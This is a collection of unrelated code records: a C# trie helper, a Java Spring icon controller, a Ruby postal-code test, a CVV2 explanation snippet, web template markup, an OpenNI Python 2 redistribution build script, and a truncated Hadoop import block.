text:
using AvsAnLib.Internals;

namespace WikipediaAvsAnTrieExtractor {
    public static class NodeMutation {
        public static void LoadPrefixRatio(this ref Node node, string prefix, int depth, Ratio prefixRatio) {
            if (prefix.Length == depth) {
                node.ratio = prefixRatio;
            } else {
                var kidC = prefix[depth];
                var idx = GetOrAddKidIdx(ref node, kidC);
                LoadPrefixRatio(ref node.SortedKids[idx], prefix, depth + 1, prefixRatio);
            }
        }

        public static int GetOrAddKidIdx(this ref Node node, char kidC) {
            if (node.SortedKids == null) {
                node.SortedKids = new[] { new Node { c = kidC, } }; //expensive, so many arrays.
                return 0;
            }

            var idx = IdxAfterLastLtNode(node.SortedKids, kidC);

            if (idx == node.SortedKids.Length || node.SortedKids[idx].c != kidC) {
                InsertBefore(ref node, idx, kidC);
            }

            return idx;
        }

        static int IdxAfterLastLtNode(Node[] sortedKids, char needle) {
            int start = 0, end = sortedKids.Length;
            //invariant: only LT nodes before start
            //invariant: only GTE nodes at or past end

            while (end != start) {
                var midpoint = end + start >> 1;
                // start <= midpoint < end
                if (sortedKids[midpoint].c < needle) {
                    start = midpoint + 1; //i.e.  midpoint < start1 so start0 < start1
                } else {
                    end = midpoint; //i.e end1 = midpoint so end1 < end0
                }
            }

            return end;
        }

        static void InsertBefore(ref Node node, int idx, char newC) {
            var newArr = new Node[node.SortedKids.Length + 1];
            var i = 0;
            for (; i < idx; i++) {
                newArr[i] = node.SortedKids[i];
            }

            newArr[idx].c = newC;
            for (; i < node.SortedKids.Length; i++) {
                newArr[i + 1] = node.SortedKids[i];
            }

            node.SortedKids = newArr;
        }
    }
}


text:
package com.newtouch.lion.admin.web.controller.system.icon;

import com.newtouch.lion.admin.web.model.system.icon.IconVo;
import com.newtouch.lion.data.DataTable;
import com.newtouch.lion.model.system.Icon;
import com.newtouch.lion.page.PageResult;
import com.newtouch.lion.query.QueryCriteria;
import com.newtouch.lion.service.datagrid.DataGridService;
import com.newtouch.lion.service.excel.ExcelExportService;
import com.newtouch.lion.service.system.IconService;
import com.newtouch.lion.web.controller.AbstractController;
import com.newtouch.lion.web.model.QueryDt;
import com.newtouch.lion.web.servlet.view.support.BindMessage;
import com.newtouch.lion.web.servlet.view.support.BindResult;
import org.apache.commons.lang.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.Errors;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;
import java.util.HashMap;
import java.util.Map;

/**
 *

 * Title: 图标管理
 *

 *

 * Description: 图标管理包含添加、删除、修改及用户组授权等
 *

 *

 * Copyright: Copyright (c) 2015
 *

 *

 * Company: NewTouch
 *

 *
 * @author MaoJiaWei
 * @version 1.0
 */
@Controller
@RequestMapping("/system/icon/")
public class IconController extends AbstractController{
	private final Logger logger = LoggerFactory.getLogger(super.getClass());
	/** 默认排序字段名称 */
	private static final String DEFAULT_ORDER_FILED_NAME = "id";
	/** 默认列表 */
	public static final String INDEX_LISTS_TB = "sys_icon_tb";
	/** 图标管理首页 */
	public static final String INDEX_RETURN = "/system/icon/index";
	/** 添加页面 */
	public static final String ADD_DIALOG_RETURN = "/system/group/adddialog";
	/** 编辑页面 */
	public static final String EDIT_DIALOG_RETURN = "/system/group/editdialog";
	@Autowired
	private IconService iconService;
	/**DataGrid表格*/
	@Autowired
	private DataGridService dataGridService;
	/**Excel通用导出*/
	@Autowired
	private ExcelExportService excelExportService;

	@RequestMapping(value = "index")
	public String index() {
		return INDEX_RETURN;
	}
	@RequestMapping(value = "icon")
	public String icon() {
		return "system/icon/icon";
	}
	/** 图标数据添加对话框 */
	@RequestMapping(value = "adddialog")
	public String addDialog() {
		return ADD_DIALOG_RETURN;
	}
	/*add by maojiawei*/
	private Boolean isExistByIconClass(String iconClass) {
		Boolean flag = false;
		if (StringUtils.isNotEmpty(iconClass)) {
			flag = iconService.doIsExistByIconClass(iconClass.trim());
		}
		return flag;
	}
	/*add by maojiawei*/
	private Boolean isExistByIconClass(String iconClass, String oldClass) {
		Boolean flag = false;
		if (StringUtils.isNotEmpty(iconClass) && !iconClass.equals(oldClass)) {
			flag = iconService.doIsExistByIconClass(iconClass.trim());
		}
		return flag;
	}
	/*add by maojiawei*/
	@RequestMapping(value = "checkisexitnameen")
	@ResponseBody
	public String checkIsExistByNameEn(HttpServletRequest servletRequest,
			@RequestParam(required = false) String iconClass,@RequestParam(required=false) Long id) {
		Boolean flag=Boolean.FALSE;

		if(id==null){
			flag = this.isExistByIconClass(iconClass)? false : true;
		}else{
			Icon icon = iconService.doFindById(id);
			if(icon==null){
				flag = this.isExistByIconClass(iconClass)? false : true;
			}else{
				flag=this.isExistByIconClass(iconClass, icon.getIconClass())?false:true;
			}
		}
		return flag.toString();
	}

	/** 图标数据添加保存 */
	@RequestMapping(value = "add")
	@ResponseBody
	public ModelAndView add(@Valid @ModelAttribute("icon") IconVo iconVo,
			Errors errors, ModelAndView modelAndView) {

		if (!errors.hasErrors()&& this.isExistByIconClass(iconVo.getIconClass())) {
			errors.rejectValue(IconVo.ICON_CLASS,
					"sys.icon.form.nameen.existed.message",
					new Object[] { iconVo.getIconClass() }, null);
		}
		//是否错误消息
		if (errors.hasErrors()) {
			modelAndView.addObject(BindMessage.ERRORS_MODEL_KEY, errors);
			return this.getJsonView(modelAndView);
		}
		Icon icon = new Icon();

		BeanUtils.copyProperties(iconVo, icon);
		iconService.doCreate(icon);
		Map<String, String> params = new HashMap<String, String>();
		params.put(BindResult.SUCCESS, "sys.icon.add.success");
		modelAndView.addObject(BindMessage.SUCCESS, params);
		return this.getJsonView(modelAndView);
	}

	/** 图标编辑对话框 */
	@RequestMapping(value = "editdialog")
	public String editDialog(@RequestParam Long id, Model model) {
		if (id != null) {
			Icon icon = iconService.doFindById(id);
			model.addAttribute("icon", icon);
		} else {
			logger.error("Edit Object id is not null!");
		}
		return EDIT_DIALOG_RETURN;
	}

	/** 编辑图标 */
	@RequestMapping(value = "edit")
	@ResponseBody
	public ModelAndView edit(@Valid @ModelAttribute("icon") IconVo iconVo,
			Errors errors, ModelAndView modelAndView) {

		modelAndView=this.getJsonView(modelAndView);
		if (!errors.hasErrors() && iconVo.getId() == null) {
			errors.reject("sys.icon.form.id.empty");
			modelAndView.addObject(BindMessage.ERRORS_MODEL_KEY, errors);
			return modelAndView;
		}
		Icon icon = iconService.doFindById(iconVo.getId());
		if (icon == null) {
			errors.reject("sys.icon.form.id.empty");
			return modelAndView;
		}

		if (!errors.hasErrors()
			&& this.isExistByIconClass(iconVo.getIconClass(),icon.getIconClass())) {errors.rejectValue(IconVo.ICON_CLASS,	"sys.icon.form.nameen.existed.message",new Object[] { iconVo.getIconClass() }, null);

		}

		if (errors.hasErrors()) {
			modelAndView.addObject(BindMessage.ERRORS_MODEL_KEY, errors);
			return modelAndView;
		}

		BeanUtils.copyProperties(iconVo, icon);
		iconService.doUpdate(icon);

		Map<String, String> params = new HashMap<String, String>();
		params.put(BindResult.SUCCESS, "sys.icon.edit.success");
		modelAndView.addObject(BindMessage.SUCCESS, params);
		return modelAndView;
	}

	/** 删除图标 */
	@RequestMapping(value = "delete")
	@ResponseBody
	public ModelAndView delete(@RequestParam Long id, ModelAndView modelAndView) {
		Map<String, String> params = new HashMap<String, String>();
		int updateRow = this.iconService.doDeleteById(id);
		if (updateRow > 0) {
			params.put(BindResult.SUCCESS,"sys.icon.delete.success");
		} else {
			params.put(BindResult.SUCCESS,"sys.icon.delete.fail");
		}
		modelAndView.addObject(BindMessage.SUCCESS, params);
		return this.getJsonView(modelAndView);
	}

	@RequestMapping(value = "list")
	@ResponseBody
	public DataTable<Icon> list(QueryDt query,@ModelAttribute("icon") IconVo iconVo) {
		QueryCriteria queryCriteria = new QueryCriteria();

		// 设置分页 启始页
		queryCriteria.setStartIndex(query.getPage());
		// 每页大小
		queryCriteria.setPageSize(query.getRows());
		// 设置排序字段及排序方向
		if (StringUtils.isNotEmpty(query.getSort()) && StringUtils.isNotEmpty(query.getOrder())) {
			queryCriteria.setOrderField(query.getSort());
			queryCriteria.setOrderDirection(query.getOrder());
		} else {
			queryCriteria.setOrderField(DEFAULT_ORDER_FILED_NAME);
			queryCriteria.setOrderDirection(QueryCriteria.ASC);
		}

		//查询条件 图标类名按模糊查询
		if(StringUtils.isNotEmpty(iconVo.getIconClass())){
			queryCriteria.addQueryCondition("iconClass","%"+iconVo.getIconClass()+"%");
		}

		//查询条件 图标类型
		if(StringUtils.isNotEmpty(iconVo.getIconType())){
			queryCriteria.addQueryCondition("iconType",iconVo.getIconType());
		}

		PageResult<Icon> pageResult = iconService.doFindByCriteria(queryCriteria);
		return pageResult.getDataTable(query.getRequestId());
	}

}

redpajama_set_name: RedPajamaGithub


text:
require File.expand_path(File.dirname(__FILE__) + '/spec_helper')

RSpec.describe GovKit::CA::PostalCode do
  before :all do
    GovKit::CA::PostalCode::StrategySet.register GovKit::CA::PostalCode::Strategy::ElectionsCa
    GovKit::CA::PostalCode::StrategySet.register GovKit::CA::PostalCode::Strategy::LiberalCa
    GovKit::CA::PostalCode::StrategySet.register GovKit::CA::PostalCode::Strategy::NDPCa
  end

  describe '#valid?' do
    it 'should return false if the postal code is not properly formatted' do
      [ 'A1A1A', # too short
        'A1A1A1A', # too long
        "A1A1A1\nA1A1A1", # multiline
        'AAAAAA', # no digits
        '111111', # no letters
        '1A1A1A', # wrong order
        'Z1Z1Z1', # Z as first letter
        'Q1Q1Q1', # Q as letter
        'a1a1a1', # lowercase
      ].each do |postal_code|
        expect(subject.valid?(postal_code)).to eq(false)
      end
    end

    it 'should return true if the postal code is properly formatted' do
      [ 'A1Z1Z1', # Z not as first letter
        'H0H0H0', # doesn't exist
        'A1A1A1', # does exist
      ].each do |postal_code|
        expect(subject.valid?(postal_code)).to eq(true)
      end
    end
  end

  describe '#find_electoral_districts_by_postal_code' do
    it 'should return the electoral districts within a postal code' do
      { 'A1A1A1' => [10007],
        'K0A1K0' => [35076],
      }.each do |postal_code,electoral_districts|
        expect(subject.find_electoral_districts_by_postal_code(postal_code)).to eq(electoral_districts)
      end
    end

    it 'should raise an error if the postal code cannot be determined' do
      expect(lambda{subject.find_electoral_districts_by_postal_code('H0H0H0')}).to raise_error(GovKit::CA::ResourceNotFound)
    end

    it 'should raise an error if the postal code is invalid' do
      expect(lambda{subject.find_electoral_districts_by_postal_code('AAAAAA')}).to raise_error(GovKit::CA::InvalidRequest)
    end
  end

  describe '#find_province_by_postal_code' do
    it 'should return the province that a postal code belongs to' do
      { 'A' => 'Newfoundland and Labrador',
        'B' => 'Nova Scotia',
        'C' => 'Prince Edward Island',
        'E' => 'New Brunswick',
        'G' => 'Quebec',
        'H' => 'Quebec',
        'J' => 'Quebec',
        'K' => 'Ontario',
        'L' => 'Ontario',
        'M' => 'Ontario',
        'N' => 'Ontario',
        'P' => 'Ontario',
        'R' => 'Manitoba',
        'S' => 'Saskatchewan',
        'T' => 'Alberta',
        'V' => 'British Columbia',
        'X0A' => 'Nunavut',
        'X0B' => 'Nunavut',
        'X0C' => 'Nunavut',
        'X0E' => 'Northwest Territories',
        'X0G' => 'Northwest Territories',
        'X1A' => 'Northwest Territories',
        'Y' => 'Yukon',
      }.each do |postal_code,province|
        expect(subject.find_province_by_postal_code(postal_code)).to eq(province)
      end
    end

    it 'should raise an error if the province cannot be determined' do
      expect(lambda{subject.find_province_by_postal_code('X1B1B1')}).to raise_error(GovKit::CA::ResourceNotFound)
    end
  end

  describe '#format_postal_code' do
    it 'should format a postal code' do
      expect(subject.format_postal_code("+a1a 1a1\n")).to eq('A1A1A1')
    end
  end
end


text:
<TITLE>C V V 2 Info</TITLE>

The CVV2 value is a 3 digit number printed at the end of the credit card number on the signature panel on the back of the credit card. Entering the CVV2 value helps protect against credit card fraud. Orders will not be processed without this number
For your safety and security, we require that you

enter your card's verification number. The American Express
verification number is a 4-digit number printed on the front of your
card. It appears after and to the right of your card number.


text:
module.exports = {
  createServer: (app,host, port, callback)=> {
    console.log('create server');
    callback();
  },
}


text:
 <!-- jQuery Version 1.11.0 -->
    <!-- <script src="{{ "/js/jquery-1.11.0.js" }}"></script> -->

    <!-- Owl Carousel -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js" integrity="sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js" integrity="sha512-bPs7Ae6pVvhOSiIcyUClR7/q2OAsRiovw4vAkX+zJbw3ShAeeqezq50RIIcIURq7Oa20rW2n2q+fyXBNcU9lrw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="{{ "/js/bootstrap.min.js" }}"></script>

    <!-- Plugin JavaScript -->
    <script src="{{ "/js/jquery.easing.min.js" }}"></script>
    <script src="{{ "/js/classie.js" }}"></script>
    <script src="{{ "/js/cbpAnimatedHeader.js" }}"></script>

    <!-- Contact Form JavaScript -->
    <script src="{{ "/js/jqBootstrapValidation.js" }}"></script>
    {% if site.contact == "static" %}
    <script src="{{ "/js/contact_me_static.js" }}"></script>
    {% else %}
     <script src="{{ "/js/contact_me.js" }}"></script>
    {% endif %}

    <!-- Custom Theme JavaScript -->
    <script src="{{ "/js/freelancer.js" }}"></script>

    {% if site.contact == "disqus" %}
    <!-- Disqus Stuff -->
    {% include js_disqus.html %}
    {% endif %}


text:
<!DOCTYPE html>

        <meta charset="UTF-8">
        <title>Colors</title>
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
        <link href="http://cdnjs.cloudflare.com/ajax/libs/normalize/3.0.0/normalize.min.css" rel="stylesheet"/>
        <link href="http://cdnjs.cloudflare.com/ajax/libs/highlight.js/7.3/styles/default.min.css" rel="stylesheet"/>

                Example description is rendered dynamically with JavaScript. Please enable JavaScript to see the explanation.

            It was the best of times, it was the worst of times,

             it was the age of wisdom, it was the age of foolishness,

                it was the epoch of belief, it was the epoch of incredulity...


text:
#
#

#-------------Imports----------------------------------------------------------#
from xml.dom.minidom import parse, parseString
from time import strftime
import logging
import glob
import os
import re
import sys
import shutil
import stat
from commands import getoutput as gop

#-------------Functions--------------------------------------------------------#

def calc_jobs_number():
    cores = 1

    try:
        if ostype == "Darwin":
            txt = gop('sysctl -n hw.physicalcpu')
        else:
            txt = gop('grep "processor\W:" /proc/cpuinfo | wc -l')

        cores = int(txt)
    except:
        pass

    return str(cores * 2)

def finish_script(exit_code):
    os.chdir(SCRIPT_DIR)
    exit(exit_code)

def replace_string_in_file(findStr,repStr,filePath):
    "replaces all findStr by repStr in file filePath"
    tempName=filePath+'~~~'
    input = open(filePath)
    output = open(tempName,'w')
    for s in input:
        output.write(s.replace(findStr,repStr))
    output.close()
    input.close()
    os.remove(filePath)
    os.rename(tempName,filePath)

def regx_replace(findStr,repStr,filePath):
    "replaces all findStr by repStr in file filePath using regualr expression"
    findStrRegx = re.compile(findStr)
    tempName=filePath+'~~~'
    input = open(filePath)
    output = open(tempName,'w')
    for s in input:
        output.write(findStrRegx.sub(repStr,s))
    output.close()
    input.close()
    os.remove(filePath)
    os.rename(tempName,filePath)

def check_sample(sample_dir):
    "Checks if a sample is a tool or should be skipped, returns: 0 - Regular, 1 - Skip, 2 - Tool"
    rc = 0
    if os.path.exists(sample_dir + "/.redist"):
        redistFile = open(sample_dir + "/.redist")
    else:
        rc=0
        return rc
    redist_lines =redistFile.readlines()
    skip_re = re.compile("^SKIP=([^\|]*\|)*(" + PLATFORM + "|ALL)(\|[^\|]*)*$")
    tool_re = re.compile("^TOOL=([^\|]*\|)*(" + PLATFORM + "|ALL)(\|[^\|]*)*$")
    for line in redist_lines:
        if skip_re.search(line):
            rc = 1
            redistFile.close()
            return rc
        if tool_re.search(line):
            rc = 2
            redistFile.close()
            return rc
    redistFile.close()
    return rc

def fix_file(arg,dirname,fname):
    "Fixes paths for all the files in fname"
    for filename in fname:
        filePath = dirname + "/" + filename
        if os.path.isdir(filePath):
            continue

        ext = ['c','cpp','h','ini','cs','java']
        if filename == "Makefile" or filename.partition(".")[2] in ext:
            #print "Fixing: " + filePath
            tempName=filePath+'~~~'
            input = open(filePath)
            output = open(tempName,'w')
            for s in input:
                olds = s
                s = re.sub(r"../../../Bin",r"../Bin",s)
                s = re.sub(r"../../../../../Include",r"../../Include =/usr/include/ni",s)
                s = re.sub(r"../../../../../Samples/[\w.]+/?",r"./",s)
                s = re.sub(r"../../../../Data/SamplesConfig.xml",r"../../Config/SamplesConfig.xml",s)
                s = re.sub(r"../../Res/",r"../Res/",s)
                s = re.sub(r"include ../../Common/CommonDefs.mak",r"include ../Build/Common/CommonDefs.mak",s)
                s = re.sub(r"include ../../Common/CommonCppMakefile",r"LIB_DIRS += ../../Lib\ninclude ../Build/Common/CommonCppMakefile",s)
                s = re.sub(r"include ../../Common/CommonCSMakefile",r"LIB_DIRS += ../../Lib\ninclude ../Build/Common/CommonCSMakefile",s)
                s = re.sub(r"include ../../Common/CommonJavaMakefile",r"LIB_DIRS += ../../Lib\ninclude ../Build/Common/CommonJavaMakefile",s)

                output.write(s)

                #if s != olds:
                    #print "Changed : " + olds.strip("\n")
                    #print "To      : " + s.strip("\n")

            output.close()
            input.close()
            os.remove(filePath)
            os.rename(tempName,filePath)

def copy_install_script(platform, filePath, dest):
    "Copies the install script and fixing it if needed"
    input = open(filePath)
    dest_name = os.path.join(dest, os.path.basename(filePath))
    output = open(dest_name, 'w')

    for line in input:
        if platform == 'CE4100':
            line = re.sub(r"/var/lib/ni", r"/usr/etc/ni", line)

        output.write(line)

    input.close()
    output.close()
    os.chmod(dest_name, stat.S_IRUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH)

def execute_check(cmd, name):
    "Executes command and checks the return code. If it's not 0, stops redist."
    ret = os.system(cmd)
    if ret != 0:
        print "failed to execute: " + cmd
        print name + " Failed!"
        logger.critical(name + " Failed!")
        finish_script(1)

#------------Constants and globals---------------------------------------------#
DateTimeSTR = strftime("%Y-%m-%d %H:%M:%S")
DateSTR = strftime("%Y-%m-%d")
SCRIPT_DIR = os.getcwd()
# Fix to allow reletive path
WORK_DIR = os.getcwd() + "/"
os.chdir(SCRIPT_DIR)
PROJECT_NAME = "OpenNI"
ostype = os.popen('uname -s').read().rstrip()
machinetype = os.popen('uname -m').read().rstrip()

if len(sys.argv) >= 2:
    PLATFORM = sys.argv[1]
    MAKE_ARGS = 'PLATFORM=' + PLATFORM
else:
    if machinetype == "x86_64":
        PLATFORM = "x64"
    elif machinetype == "x86" or machinetype == "i386" or machinetype == "i686":
        PLATFORM = "x86"
    elif machinetype[:3] == "arm":
        PLATFORM = "Arm"
    else:
        print "Unknown platform:", machinetype
        finish_script(1)

    MAKE_ARGS = ''

MAKE_ARGS += ' -j' + calc_jobs_number()

if ostype == "Darwin":
    TARGET = "MacOSX"
else:
    TARGET = "Linux-" + PLATFORM

#-------------Log--------------------------------------------------------------#

# Create output dir
if (os.path.exists(SCRIPT_DIR + "/Output")):
    shutil.rmtree(SCRIPT_DIR + "/Output")
if (os.path.exists(SCRIPT_DIR + "/Final")):
    shutil.rmtree(SCRIPT_DIR + "/Final")
os.makedirs(SCRIPT_DIR + "/Output")
logger = logging.getLogger('myapp')
hdlr = logging.FileHandler('Output/Nightly.log')
formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
hdlr.setFormatter(formatter)
logger.addHandler(hdlr)
logger.setLevel(logging.INFO)

#------------Welcome Messege--------=------------------------------------------#
print "\n";
print "*********************************"
print "*   PrimeSense OpenNI Redist    *"
print "*     " + DateTimeSTR + "       *"
print "*********************************"
print
logger.info("PrimeSense OpenNI Redist Started")

print "Target:", TARGET

#--------------Take Version----------------------------------------------------#
version_file = open("../../../Include/XnVersion.h").read()
major = re.search(r"define XN_MAJOR_VERSION (\d+)", version_file).groups()[0]
minor = re.search(r"define XN_MINOR_VERSION (\d+)", version_file).groups()[0]
maintenance = re.search(r"define XN_MAINTENANCE_VERSION (\d+)", version_file).groups()[0]
build = re.search(r"define XN_BUILD_VERSION (\d+)", version_file).groups()[0]

version = major + "." + minor + "." + maintenance + "." + build
print "Version:", version

print "Num of compile jobs:", calc_jobs_number()

print

#--------------Build Project---------------------------------------------------#
print "* Building OpenNI..."
logger.info("Building OpenNI...")

# Build
#execute_check("gacutil -u OpenNI.net > " + SCRIPT_DIR + "/Output/gacutil.txt", "Remove from GAC")
execute_check('make ' + MAKE_ARGS + ' -C ' + SCRIPT_DIR + '/../Build clean > ' + SCRIPT_DIR + '/Output/Build' + PROJECT_NAME + '_clean.txt', 'Cleaning')
execute_check('make ' + MAKE_ARGS + ' -C ' + SCRIPT_DIR + '/../Build > ' + SCRIPT_DIR + '/Output/Build' + PROJECT_NAME + '.txt', 'Building')

#--------------Doxygen---------------------------------------------------------#
print "* Creating Doxygen..."
logger.info("Creating DoxyGen...")
os.chdir("../../../Source/DoxyGen");
if os.path.exists("html"):
    os.system("rm -rf html")
# Running doxygen
os.makedirs("html")
execute_check("doxygen Doxyfile > "+ SCRIPT_DIR + "/Output/EngineDoxy.txt", "Creating Documentation")

# remove unneeded files
os.system("rm -rf html/*.map html/*.md5 html/*.hhc html/*.hhk html/*.hhp")

#-------------Create Redist Dir------------------------------------------------#
print "* Creating Redist Dir..."
logger.info("Creating Redist Dir...")
os.chdir(SCRIPT_DIR + "/..")

REDIST_NAME = "OpenNI-Bin-Dev-" + TARGET + "-v" + version

REDIST_DIR = "Redist/" + REDIST_NAME

# Removing the old directory
if (os.path.exists(REDIST_DIR)):
    shutil.rmtree(REDIST_DIR)

# Creating new directory tree
os.makedirs(REDIST_DIR)
os.makedirs(REDIST_DIR + "/Bin")
os.makedirs(REDIST_DIR + "/Lib")
os.makedirs(REDIST_DIR + "/Jar")
os.makedirs(REDIST_DIR + "/Include")
os.makedirs(REDIST_DIR + "/Documentation")
os.makedirs(REDIST_DIR + "/Samples")
os.makedirs(REDIST_DIR + "/Samples/Bin")
os.makedirs(REDIST_DIR + "/Samples/Bin/" + PLATFORM + "-Debug")
os.makedirs(REDIST_DIR + "/Samples/Bin/" + PLATFORM + "-Release")
os.makedirs(REDIST_DIR + "/Samples/Build")
os.makedirs(REDIST_DIR + "/Samples/Config")
os.makedirs(REDIST_DIR + "/Samples/Res")

#-------------Copy files to redist---------------------------------------------#
print "* Copying files to redist dir..."
logger.info("Copying files to redist dir...")

#license
shutil.copy("../../LICENSE", REDIST_DIR)
shutil.copy("../../NOTICE", REDIST_DIR)

#lib
if ostype == "Darwin":
    LIBS_TYPE = ".dylib"
else:
    LIBS_TYPE = ".so"

shutil.copy("Bin/" + PLATFORM + "-Release/libnimCodecs"+LIBS_TYPE, REDIST_DIR + "/Lib")
shutil.copy("Bin/" + PLATFORM + "-Release/libnimMockNodes"+LIBS_TYPE, REDIST_DIR + "/Lib")
shutil.copy("Bin/" + PLATFORM + "-Release/libnimRecorder"+LIBS_TYPE, REDIST_DIR + "/Lib")
shutil.copy("Bin/" + PLATFORM + "-Release/libOpenNI"+LIBS_TYPE, REDIST_DIR + "/Lib")
shutil.copy("Bin/" + PLATFORM + "-Release/libOpenNI.jni"+LIBS_TYPE, REDIST_DIR + "/Lib")

#bin
MonoDetected = 0
shutil.copy("Bin/" + PLATFORM + "-Release/niReg", REDIST_DIR + "/Bin")
shutil.copy("Bin/" + PLATFORM + "-Release/niLicense", REDIST_DIR + "/Bin")
if PLATFORM == 'x86' or PLATFORM == 'x64':
    if (os.path.exists("/usr/bin/gmcs")):
        shutil.copy("Bin/" + PLATFORM + "-Release/OpenNI.net.dll", REDIST_DIR + "/Bin")
        shutil.copy("Bin/" + PLATFORM + "-Release/OpenNI.net.dll", REDIST_DIR + "/Samples/Bin/" + PLATFORM + "-Debug")
        shutil.copy("Bin/" + PLATFORM + "-Release/OpenNI.net.dll", REDIST_DIR + "/Samples/Bin/" + PLATFORM + "-Release")
        MonoDetected = 1

# java wrapper
shutil.copy("Bin/" + PLATFORM + "-Release/org.openni.jar", REDIST_DIR + "/Jar")
shutil.copy("Bin/" + PLATFORM + "-Release/org.openni.jar", REDIST_DIR + "/Samples/Bin/" + PLATFORM + "-Debug")
shutil.copy("Bin/" + PLATFORM + "-Release/org.openni.jar", REDIST_DIR + "/Samples/Bin/" + PLATFORM + "-Release")

#docs
shutil.copytree("../../Source/DoxyGen/html", REDIST_DIR + "/Documentation/html")

#include
for includeFile in os.listdir("../../Include"):
    if not os.path.isdir("../../Include/" + includeFile):
        shutil.copy("../../Include/" + includeFile, REDIST_DIR + "/Include")

shutil.copytree("../../Include/Linux-x86", REDIST_DIR + "/Include/Linux-x86")
shutil.copytree("../../Include/Linux-Arm", REDIST_DIR + "/Include/Linux-Arm")
shutil.copytree("../../Include/MacOSX", REDIST_DIR + "/Include/MacOSX")
shutil.copytree("Build/Common", REDIST_DIR + "/Samples/Build/Common")

# samples
samples_list = os.listdir("Build/Samples")
if '.svn' in samples_list:
    samples_list.remove('.svn')

if PLATFORM == 'CE4100':
    samples_list.remove('NiViewer')
    samples_list.remove('NiSimpleViewer')

if PLATFORM == 'Arm':
    samples_list.remove('NiUserTracker')
    samples_list.remove('NiViewer')
    samples_list.remove('NiSimpleViewer')
    samples_list.remove('NiHandTracker')
    samples_list.remove('NiUserSelection')

if (MonoDetected == 0):
    samples_list.remove("SimpleRead.net")
    samples_list.remove("SimpleViewer.net")
    samples_list.remove("UserTracker.net")

print "Samples:", samples_list

for sample in samples_list:
    shutil.copytree("../../Samples/" + sample, REDIST_DIR + "/Samples/" + sample)
    shutil.copy("Build/Samples/"+ sample + "/Makefile", REDIST_DIR + "/Samples/"+ sample)

#data
shutil.copy("../../Data/SamplesConfig.xml", REDIST_DIR + "/Samples/Config/SamplesConfig.xml")

#res
res_files = os.listdir("Build/Res")
if '.svn' in res_files:
    res_files.remove('.svn')
for res_file in res_files:
    shutil.copy("Build/Res/" + res_file, REDIST_DIR + "/Samples/Res")

# remove all .svn files
os.system("find " + REDIST_DIR + "/. | grep .svn | xargs rm -rf")

# remove all .svn files
os.system("find " + REDIST_DIR + "/Samples/. | grep .svn | xargs rm -rf")

#-----Remove Read Only Attrib--------------------------------------------------#
print "* Removing Read Only Attributes..."
logger.info("Removing Read Only Attributes...")
os.system ("chmod -R +r " + REDIST_DIR + "/*")

#--------Fixing Files----------------------------------------------------------#
print "* Fixing Files..."
logger.info("Fixing Files...")
os.path.walk(REDIST_DIR + "/Samples",fix_file,'')

#-------Creating project and solutions-----------------------------------------#
print "* Creating Makefile..."
logger.info("Creating Makefile...")

MAKEFILE = open(REDIST_DIR + "/Samples/Build/Makefile", 'w')
MAKEFILE.write("include Common/CommonDefs.mak\n\n")
MAKEFILE.write(".PHONY: all\n\n")
MAKEFILE.write("NETPROJ = \n")

MAKEFILE.write("ifneq \"$(realpath /usr/bin/gmcs)\" \"\"\n");
for sample in samples_list:
    if sample.find(".net") >0:
        MAKEFILE.write("\tNETPROJ += " + sample + "\n")
MAKEFILE.write("endif\n\n");

MAKEFILE.write("all: $(NETPROJ) ")
for sample in samples_list:
    if sample.find(".net") == -1:
        MAKEFILE.write(sample + " ")
MAKEFILE.write("\n\n")

for sample in samples_list:
    MAKEFILE.write("\n")
    MAKEFILE.write(".PHONY: "+sample+"\n")
    MAKEFILE.write(sample+":\n")
    MAKEFILE.write("\t$(MAKE) -C ../"+sample+"\n")

# Close files
MAKEFILE.close()

#-------Copy install script---------------------------------------------------#
print "* Copying install script..."
logger.info("Copying install script...")

copy_install_script(PLATFORM, "CreateRedist/install.sh", REDIST_DIR)

#-------------Build Samples---------------------------------------------------#
print "* Building Samples in release configuration......"
logger.info("Building Samples in release configuration...")

# Build project solution
execute_check("make " + MAKE_ARGS + " -C " + REDIST_DIR + "/Samples/Build " + " > "+SCRIPT_DIR+"/Output/BuildSmpRelease.txt", "Build samples in release")

print "* Building Samples in debug configuration......"
logger.info("Building Samples in debug configuration...")

# Build project solution
execute_check("make " + MAKE_ARGS + " CFG=Debug -C " + REDIST_DIR + "/Samples/Build > "+SCRIPT_DIR+"/Output/BuildSmpDebug.txt", "Build samples in debug")

# delete intermidiate files
for sample in samples_list:
   os.system("rm -rf " + REDIST_DIR + "/Samples/"+sample+"/" + PLATFORM + "/Debug")
   os.system("rm -rf " + REDIST_DIR + "/Samples/"+sample+"/" + PLATFORM + "/Release")

#-------------Create TAR-------------------------------------------------------#
print "* Creating tar......"
logger.info("Creating tar...")

os.makedirs(SCRIPT_DIR+"/Final")
os.chdir(SCRIPT_DIR + "/../Redist")

execute_check("tar -cjf " +SCRIPT_DIR+"/Final/" + REDIST_NAME + ".tar.bz2 " + REDIST_NAME, "Tar")

os.chdir(SCRIPT_DIR)

#-------------CleanUP----------------------------------------------------------#
print "* Redist OpenNi Ended.   !!"
logger.info("Redist OpenNi Ended.")
finish_script(0)


text:
package org.apache.hadoop.hdfs.server.blockmanagement;

import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;

import org.apache.hadoop.hdfs.protocol.Block;
import org.apache.hadoop.hdfs.server.common.HdfsServerConstants.BlockUCState;
